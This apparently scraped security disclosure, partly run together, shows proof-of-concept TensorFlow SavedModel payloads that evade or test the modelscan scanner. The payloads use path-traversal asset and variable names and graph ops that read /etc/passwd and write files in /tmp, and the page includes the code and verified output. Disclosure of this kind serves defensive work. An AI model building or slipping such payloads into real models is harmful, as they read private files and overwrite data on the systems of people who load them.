Views
No views yet
assets/ subdirectory can contain files with URL-encoded or literal path traversal names. modelscan 0.8.8 does not inspect asset filenames. When a framework copies or extracts assets, traversal names write outside the target directory.tf.Variable names containing ../../../ survive the save/load cycle and are stored in the checkpoint files. modelscan does not validate variable names.tf.io.read_file and tf.io.write_file ops that achieve arbitrary file read/write on model load and inference. While modelscan detects these ops, they demonstrate the format's inherent ability to carry dangerous operations./etc/hostname) and file write (/tmp/) dynamically verified| Payload | Technique | modelscan 0.8.8 | Verified |
|---|---|---|---|
payload1_asset_traversal/ | URL-encoded traversal in asset filename | MISSED | Asset file created |
payload4_var_traversal/ | ../../../tmp/evil_weight as tf.Variable name | MISSED | Name preserved in checkpoint |
payload2_readfile_op/ | tf.io.read_file op in graph | Detected | Read /etc/hostname = confirmed |
payload3_pyfunction/ | tf.io.write_file op in graph | Detected | Wrote /tmp/tf_pwned.txt = confirmed |
assets/ directory alongside saved_model.pb. The asset filenames are not validated by TensorFlow or modelscan:1import tensorflow as tf
2import os
3
4model = tf.Module()
5model.v = tf.Variable(1.0)
6tf.saved_model.save(model, "model_dir")
7
8# Inject traversal asset
9assets_dir = os.path.join("model_dir", "assets")
10os.makedirs(assets_dir, exist_ok=True)
11with open(os.path.join(assets_dir, "..%2f..%2f..%2ftmp%2fpwned.txt"), 'w') as f:
12 f.write("PWNED")1class Model(tf.Module):
2 def __init__(self):
3 self.w = tf.Variable(tf.zeros([4, 4]), name="../../../tmp/evil_weight")
4
5tf.saved_model.save(Model(), "model_dir")
6# Variable name preserved in checkpoint files1# This model reads arbitrary files when called:
2loaded = tf.saved_model.load("payload2_readfile_op")
3content = loaded.read(tf.constant("/etc/passwd"))
4# → Returns file contents as tf.string tensor
5
6# This model writes arbitrary files when called:
7loaded = tf.saved_model.load("payload3_pyfunction")
8loaded.process(tf.constant("malicious content"))
9# → Writes to /tmp/tf_pwned.txtReadFile: read /etc/hostname = 'Paolo'
WriteFile: wrote /tmp/tf_pwned.txt = 'PWNED_BY_TF_SAVEDMODEL'.., %2f, null bytes, control characterssaved_model.pb contents